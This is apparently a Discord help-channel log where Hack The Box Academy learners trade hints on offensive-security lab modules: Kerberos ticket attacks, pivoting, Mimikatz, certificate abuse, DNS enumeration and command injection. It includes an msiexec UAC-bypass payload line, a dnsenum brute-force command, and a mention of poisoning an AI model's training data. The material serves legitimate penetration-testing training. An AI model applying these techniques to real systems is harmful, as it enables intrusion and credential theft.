any idea why this error occurs? working through attacking domain trusts - cross forest from linux

[rustic sage]

i've always been wondering how actors behind very sophisticated (potentially state sponsored) cyber attacks stay anonymous, many here probably remembers the not-so-recent-but-recent xz backdoor so i'll use that as an example; one of the actor(s) behind it has a regular github profile with a public email address. how can no one (including microsoft the host of the github platform, the authorities controlling the internet providers, and other hackers with means to gather information illegally) trace them? surely such intrusions attract a global manhunt for them, especially from other cyber security experts. yet they don't even know the country the supposed bad actors are from, let alone any other form identity.

[civic estuary]

Hi Guys, I need help understanding this part in Password Attacks as it is not making sense to me.

In "Pass the Ticket (PtT) from Linux", at the segment of "Using Linux attack tools from Kerberos" where we use chisel on attack host and rdp into MS01 and use chisel thr as well.

What does it mean by transfer?

Finally, we need to transfer Julio's ccache file from LINUX01 and create the environment variable KRB5CCNAME with the value corresponding to the path of the ccache file.

[grizzled schooner]

Not the place for this, this is for HTB modules, not general conversation topics

[rustic sage]

i can't tak in #general

[grizzled schooner]

It's been a while since I've done this, but you want to take the ccache file and transfer the file to your attack host --> then set the variable

[quiet heart]

Does you edit /etc/hosts?

[civic estuary]

so if I am understanding it correctly, we take the ccache file from MS01 and transfer it over to the attack host?

[grizzled schooner]

If I remember correctly yes

[grizzled schooner]

ty, typo in hosts file

[civic estuary]

hmmm feels kinda weird though coz the whole flow seems weird to me as it is:

attack host (no connection to KDC/DC) -> modify host and proxychains file -> use chisel -> xfreerdp into MS01 & excute chisel -> transfer ccache file from LINUX01

[digital pendant]

anyone able to help on this? keen but blocked 😄

[civic estuary]

how do i go from MS01 to LINUX01? i cant connect the dots on it

[grizzled schooner]

Gotta use a pivot, I suggest Ligolo

[quasi wave]

hi for question 2 of Kerberoasting from Linux section of AD Enumeration and Attacks module, I found a list of groups, but I am having trouble narrowing down just groups the user I specify is part of. I tried using the flag to specify the user but its not working.

its giving my all local groups I think and not just ones for that user

can someone help me out here?

[digital pendant]

Not the channel for this.

[rustic sage]

@digital pendant do you have any channel for that

[grizzled schooner]

can you give a little more info? What groups do you have? What do you want to narrow down too?

<@&861185840277487616> Not the discord for this

[digital pendant]

Guys take this elsewhere... clearly not the right discord for this

[quasi wave]

I probably am sharing too much so this is an issue

I don't want to spoil

[grizzled schooner]

Okay, so, think of your powerful groups - Ent. Admins, Domain Admins, SQL Admins etc --> use grep on the output / findstr on windows

[fathom pendant]

Take it to dms

[digital pendant]

Can't share content from above tier 0 guys

[quasi wave]

got the flag thanks

I think I had to guess but I got it

thanks guys

[grizzled schooner]

You're welcome

[grizzled schooner]

Sorry if responding to that was a rule break, my bad!

Does anyone have a way to make the whole forest and cross-forests thing more understandable? I'm very lost and confused when it comes to this

[dapper crown]

Hey there... I have just setup a live usb to run pwnbox locally, I am using their vpn(it runs correctly) but when I tried to ssh into a target system it said no route to host

[grizzled schooner]

add the host to /etc/hosts

first step I take ^

[digital pendant]

all good now! I wasn't looking for the thing I thought I was 😄

[quiet heart]

try it with enum4linux

[knotty minnow]

Thanks, this is for pre-auth. I had cloudflare-warp on in my system and for some reason that was causing connectivity issues.

[cloud urchin]

You need to follow the instructions in #welcome to get access to #general.

[rustic sage]

i dont have an account on your website, i just wanted to discuss general cyber security

[cloud urchin]

There's no way around it, if you wanted to talk about general stuff you'd have to get a HTB account and link it here.

[rustic sage]

i'd like not to, is there some other community i can discuss cyber security?

[cloud urchin]

I'd imagine there are a lot.

[naive bison]

hey, can i ask questions here if I get stuck on something in a tier 3/4 module? and how can I get more cubes, 1000 at least?

[cloud urchin]

Yes, this is the channel for module questions. Just take care not to spoilt content from modules above tier 0. You can purchase cubes, which is the fastest way, get on a subscription that gives you cubes every month, and I think if you get a top placement in the season challenges you can get cubes that way.

[naive bison]

ic! ty for answering! i'll take gold sub ig, ty!

[cloud urchin]

https://help.hackthebox.com/en/articles/5720974-academy-subscriptions

This has more info for you

[naive bison]

Ty super!

[dull solar]

<@&861185840277487616>

[fathom pendant]

Don't spoil modules

[valid mango]

@kindred moth nt able to send messages in #general

[kindred moth]

uh ok

the fuck do you want

[valid mango]

how to verify ?

[kindred moth]

you might need to link your account to htb i dont see any roled on you

[valid mango]

hw to link cant find

[flint palm]

I don't think saying swears is allowed here no?

[kindred moth]

check general lol

ffs i cant tell you how bc of automod

[valid mango]

come in dm

[kindred moth]

there

[valid mango]

ok prime minister of us

cnt find in general

[fathom pendant]

Theres instructions in #welcome

[tranquil crystal]

Module: Using the Metasploit Framework
Page 10: Sessions

I am stuck on the last task. The target system has an old version of Sudo running. Find the relevant exploit and get root access to the target system. Find the flag.txt file and submit the contents of it as the answer. I found two CVE for the vuln. sudo version and neither are working.

Could someone kindly provide a hint? Thanks

[kindred moth]

try to use the command search sudo 1.8.31 and use the exploit that pops up

[flint palm]

btw how to send messages in general?

[kindred moth]

sigh

[tranquil crystal]

oh in metasploit?

[kindred moth]

yep

[tranquil crystal]

I didn't even think to do that...

[kindred moth]

#welcome message

[kindred moth]

haha

i havent even done the module lol

[tranquil crystal]

I was busy lookingup CVEs and trying to exploit

[kindred moth]

just looked up a writeup on medium

[tranquil crystal]

oh man, I don't wanna look at write ups but thanks

[kindred moth]

yeah fair

[tranquil crystal]

a hint is a hint

[kindred moth]

we need a tool where we can get hints for boxes instead of writeups fr

[flint palm]

guys and where account identifier can be found?

[quiet heart]

Does you read #welcome

[flint palm]

Yes read welcome and tried to find account identified which should be 60 charachters long

didn't find anything that long in my profile

[quiet heart]

You can find it here:
https://app.hackthebox.com/profile/settings

[jolly oasis]

Does anyone know if there's something wrong with Command Injections > Identifying Filters > "Try all other injection operators to see if any of them is not blacklisted. Which of (new-line, &, |) is not blacklisted by the web application?"
https://academy.hackthebox.com/module/109/section/1035
I found the answer but none of the options are accepted as the correct answer (encoded or not)

I ended up being able to 'brute-force' the answer. Then took the answer to see if it worked and the answer that is 'correct' does not work.

[quiet heart]

I tried it now and it worked, did you read:
https://academy.hackthebox.com/module/109/section/1032

[jolly oasis]

Yep

[jolly oasis]

I think I found the problem. Midway through the lab CTRL+U stopped working to URL encode so I started using CyberChef to encode.

From the section 1032, I see two different results when encoding

[quiet heart]

Try to pressing the ENTER button in your keyboard and then click on BAKE! 😄

[fathom pendant]

this encoding is incorrect

it's treating your input as two separate characters

%5C is the encoding for the \ character; however /n or \n is it's own specific character (%0a)

[silk anchor]

Has anyone else had issues with the last question on GPO attacks of DACL II?

Seems to not want to apply any policy updates even when using gpupdate /force.

[jolly oasis]

CTRL+U in Burp should URL encode though right?

[fathom pendant]

it may but again it can read characters weirdly, for you to properly url encode it you'd need to encode the newline (pressing enter) not the \n because it'll likely read it as the separate characters "\" and "n"

[jolly oasis]

I did this, then I get the encoded value of %5Cn%0A 😵‍💫

[quiet heart]

😄

[jolly oasis]

I'm so confused! Would it be ok to PM you so I don't clutter the chat?

[quiet heart]

Yeah no problem

[marsh fulcrum]

Hey did you manage to do it? Every POST request I do I get redirected to localhost:8080 and get an error, is that really supposed to happen or is something wrong with the instance?

[cloud urchin]

@spark fox No one here can help you with that. Reach out to the company that provided the account.

[spark fox]

Ohk

👋

[dapper crown]

That doesn't solve the issue, it's a network/connectivity issue

Hey there... I have just setup a live usb to run pwnbox locally, I am using their vpn(it runs correctly) but when I tried to ssh into a target system it said no route to host {posting again cuz its not resolved yet...}

[cloud urchin]

what ip does your tun0 give, do you have any more tun adapters running, and what is your ssh command. on parrot it may be ens instead of tun.

[full echo]

you can DM me.

[hard patio]

Hey everyone. Has anyone gone through the AI red-team module? I am stuck on two questions as it asks to manipulate the training data as well as the input data on a model and submit your answer.... Kinda confusing because I know how to manipulate both but I have no idea what it is asking to put into the box to submit my answer.. Any help would be appreciated!

[left needle]

Hi I am stuck on Password Attacks module section "Attacking Windows Credential Manager" I got the password to the admin user but I am unable to change my user to "mcharles" as it asks for his password and when I try move to "mcharles" from "sadams" I am "charles" but cannot use mimikatz because of no admin privs for that user

[cloud urchin]

Have you tried any of the other methods they showed in the section? 😉

[dapper crown]

I am using the pwn box locally, I ran ip -a and tun0 is there, and my ip matches the website too

But when I ping the target system it said host is un reachable

And when I ran nmap with -Pn it said host is up, but all top 1000 posts ignored

[left needle]

Do you mean the other tools mentioned ??

[cloud urchin]

Sounds like you're misunderstanding something. The tun0 IP is your local IP address on the Pwnbox. It shouldn't match the target you're connecting to. It gives you access to the same subnet in which the target lives.

[cloud urchin]

Yes. You only mentioned 1 out of like the 5 they show

[left needle]

okay I will try and get back to you thank you

[dapper crown]

Yes, it's not matching the target ip, it's matching the ip they show in the lab access section in app.htb/home page

Like it says I am connected to the vpn correctly, but looks like something is blocking me from connecting to the target , idk what it is

[fathom pendant]

app.hackthebox.com isn't academy.hackthebox.com :) they are separate platforms

[cloud urchin]

If you're using a hostname like app.htb make sure it's in your hosts file

[fathom pendant]

unless i'm misunderstanding and it's 1 am

(more than likely the latter)

[fathom pendant]

the example IPs won't generally match the target IPs

[dapper crown]

Yes, but what I'm trying to say is... Check dms

[fathom pendant]

my dms aren't open

[surreal goblet]

Hi all

I need a help

[fathom pendant]

with?

[dapper crown]

Is it ok to share ss here?

[fathom pendant]

it helps others help you if you say the module and section you're working on

[left needle]

I got the answer but I have a question why mimikatz didn't work and the other tool worked, is it because of the privileges required to operate different tools or something that I do not understand

[cloud urchin]

You're on the wrong VPN. Marcie was right.

[fathom pendant]

yeah called it, you're connecting to the app.hackthebox.com vpn which is SEPARATE from the academy.hackthebox.com vpn

[cloud urchin]

Labs and Academy use different VPN's, downoad the VPN from Academy if you want to do modules.

[fathom pendant]

https://tenor.com/view/adventure-time-demon-cat-i-have-approximate-knowledge-of-many-things-wise-wisdom-gif-4593239

[surreal goblet]

I just wanted to know that can we use chat GPT during our CPTS exam

[cloud urchin]

Yeah I think it's due to privs, but I could be wrong

[fathom pendant]

no tools are off limits

[dapper crown]

Sorry, my bad.. Junior Cyber security analyst path, linux fundamentals module, navigation section

[fathom pendant]

yes it's priv issue

[fathom pendant]

yeah found the root cause of the issue; it's between the keyboard and chair

[surreal goblet]

so we can?

[fathom pendant]

yes

[left needle]

But what about the hint that was given in section "Attacking Windows Credential Manager" and module "Password Attacks" about UAC bypass ??

[fathom pendant]

you can do a UAC bypass to get Mimi to work

[surreal goblet]

Great, thank you!

[fathom pendant]

Mimi uses different hooks as opposed to the other tool

that's why

[visual ravine]

hi guys did anyone earn money here doing this?

[fathom pendant]

i'm sure if you drop the binaries on your local system and use something like ghidra to examine it you can dive deeper into the lower level differences

[fathom pendant]

doing what? bug bounty? i'm sure there's people. But that's not really related to the chat

i suggest reading and following the instructions in #welcome to access #careers-and-certs or #general

[visual ravine]

ok thanks

[dapper crown]

Thanks a lot... I am dumb af

[left needle]

Thank you so much I understood do I need to jump to privesc module to learn and implement UAC bypass if I wanted to perform UAC bypass or I have to use this types of payload I found on cheatsheet if the UAC level is between 1 to 4 msiexec /quiet /qn /i sample2.msi

[fathom pendant]

nope you can find the relevant articles for a simple bypass via google

there's multiple ways to bypass

the cheatsheets only show one way, not the only way

[left needle]

Thank you so much I understood

[fossil knot]

could someone please help me with the "pentest in a nutshell" module I have no clue what I'm doing and have read the whole thing and cant find anything helpful

[left needle]

Hi, I have a question in mind like if "DPAPI" is used to encrypt the chrome passwords or any passwords and using the database keys, tools such as DONPAPI and more are able to decrypt the password but how are we able to get the msterdb key if we are not a privileged user ??

[cloud urchin]

You click "Start" to go into the module and start reading the sections and then completing the challenges.

This might help you, it goes over some basic stuff like connecting to the VPN, terms, etc. https://academy.hackthebox.com/module/details/77

[left needle]

I have not covered the "Password Attacks" module completely but I think password attacks are especially useful when we have hashes to crack and when we trying to attack a live service for example ftp or smb or any this all depends on the wordlist, so when do I know now I should attack with passwords ?? Generally the way forward is to find misconfiguration or exploit related to the service

[cloud urchin]

Well if you find creds or hashes it's obvious they go to something.

[stuck hollow]

can i ask for help using bloodhound? im doing ANE and with last compromised user im not having same result on bloodhound as htb pictures

[golden halo]

Hey guys, I need help:
Module: Password Attacks
Section: Pass the Certificate
Objective:What are the contents of flag.txt on Administrator's desktop?

Problem: I was able to login to jpinkman using the shadow credentials method and get the flag, I just don't know where to go from there to login as the Administrator, I tried to use mimikatz to find a ticket as jpinkman but I didn't have access to LSASS, and honestly i'm just kind of stuck right now. I haven't utilized the certificate authority address that's given, but I don't know what exactly I would do with it since I assume that the stuff the section covers on that wouldn't apply since you have to wait for connections. Would appreciate a push in the right direction.

Any advice?

[lunar dagger]

I think my module is bugged or something i get the anser but i get an error.The module is Windows fundamentals and the section is skill assesment

It took it finaly

[heavy mango]

There is another technique besides shadow credentials covered in the section you're on

[prisma elk]

f

[golden halo]

I understand that, but the other technique originates from the connection forcing to get a certificate then a TGT using the certificate authority, in the example they use DC01. I see that a dsync attack was used but when I tried to use the jpinkman TGT for that it didn't work. I'm guessing i do need to utilize the certificate authority address since it was given along with the domain controller address, but I'm just not sure how, any advice on that part specifically?

[heavy mango]

Yeah you need to coerce the DC to talk to the certificate server. If you need a more specific nudge it's probably best to take it over a DM to avoid spoilers

[quiet halo]

ima start doing 1-2 boxes a week for practice. what are the most common web attakcs I should brush up on?

[fleet pawn]

guys is it normal that the clipboard does not work when copying from the xfreerdp window ?

[stuck hollow]

not usually

[glad flicker]

If you're using xfreerdp inside a VM, and want to copy via clipboard to outside the vm, you'll need to copy to somewhere inside the VM first

[surreal goblet]

can anyone help me with Footprinting, i found What version of the SMB server is running on the target system but its incorrect

Hey anyone?

[quiet heart]

Which section?

[surreal goblet]

SMB

[fair temple]

Is anyone learning python?

[quiet heart]

Have you done a port scan?

[surreal goblet]

yes i did

-sV

?

[quiet heart]

Yeah

[surreal goblet]

thank you

goti

[surreal goblet]

Hey?

[waxen totem]

Bro, I already answered you when you asked last time: #modules message

[surreal goblet]

?

[waxen totem]

Read through that section's Footprinting/Nmap header again the answer is actually already in the example output.

[digital pendant]

https://owasp.org/www-project-top-ten/ you can't really go wrong with this...

probably best asked elsewhere though

[edgy schooner]

I am also having issues with this. Especially for question 2. DM me for help with Q1, but I’m getting absolutely nothing with printerbug. Also… can’t ping CA01, but I can ping DC01. I’m not 100% sure that’s supposed to be happening.

[digital pendant]

Can't hurt to restart the lab if you think that, that often confirms or removes that from unknowns

[edgy schooner]

Yeah. I did that a few times, and reset VPN. Consistently unable to ping CA01 (whether normal or not), and when I hit go on the printerbug.py.... nothing happens. Will continue to press, but like @median kettle having some roadblocks.

[digital pendant]

You can DM me if you want, not promising I have the answer but managed to get past that point so I must've done something right xD

[edgy schooner]

Much appreciated!

[eager spindle]

hello,everyone. I need help about module Active Directory Enumeration & Attacks at section AD Enumeration & Attacks - Skills Assessment Part I,this question Find cleartext credentials for another domain user. Submit the username as your answer. I used Rubeus in MS01 to find username but don't see cleartext.Please help

ok I get it with lsa.This is what I wrote after I made it. I don’t want anyone to be stuck here. I hope it can help you.

[amber heath]

Hello everyone! Anyone did the Linux PrivEsc Skill Assessment without using the SSH creds provided? If so can i get a nudge on that? I've already finished it with the ssh creds 🙂

[white knoll]

hi everyone , im stuck with DNS Zone Transfers attack.
i cant understand how to reach inlanefreight.htb
no way .. what i need to put in /etc/hosts to reach it ?
Thx

which ip ? i tried with the ip spwaned (ACADEMY-INFOGATH-WEB-DNS) but i dosent work , i can't reach the site

[quiet heart]

The spawned target IP and the domain like:
127.0.0.1 google.com

[surreal goblet]

guys can anyone help me with Footprinting im not able to locate full system path of that specific share? SMB shares

[rose lagoon]

Can someone help me in the Footprinting DNS " What is the FQDN of the host where the last octet ends with "x.x.x.203"? I don't find it

[quiet heart]

Which section?

[surreal goblet]

SMB

last flag

[white knoll]

ok now it works! THX

[eager spindle]

can anyone help me ?

[quiet heart]

Think about brute forcing

[surreal goblet]

Remember that Linux-based operating systems do not have a "C:" drive. this is the hint that i have

[rose lagoon]

Yes I alredy did it and I tried fews lists

[quiet heart]

Did you solve the question before the last?

[surreal goblet]

yes i did

tried pwd

[quiet heart]

Reuse the same command and you will find the answer of the last question

[rose lagoon]

|| I did this dnsenum --dnsserver 10.129.92.82 --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt inlanefreight.htb ||

[surreal goblet]

ill try it again if u instinct

[quiet heart]

You have some subdomains other than inlanefreight.htb, try to replacing inlanefreight.htb with that subdomains

[digital pendant]

I thought I had the method but actually its not all way to root, only to one of the users within so probs not the actual shell they mean

[surreal goblet]

still incorrect

[quiet heart]

The page has a table with rpcclient requests, read it 😄

[rose lagoon]

||There are 3sub but none of these works ||

[surreal goblet]

thank you

[surreal goblet]

why cant i send a screenshot

[quiet heart]

#welcome

[surreal goblet]

and?

[quiet heart]

Read the verification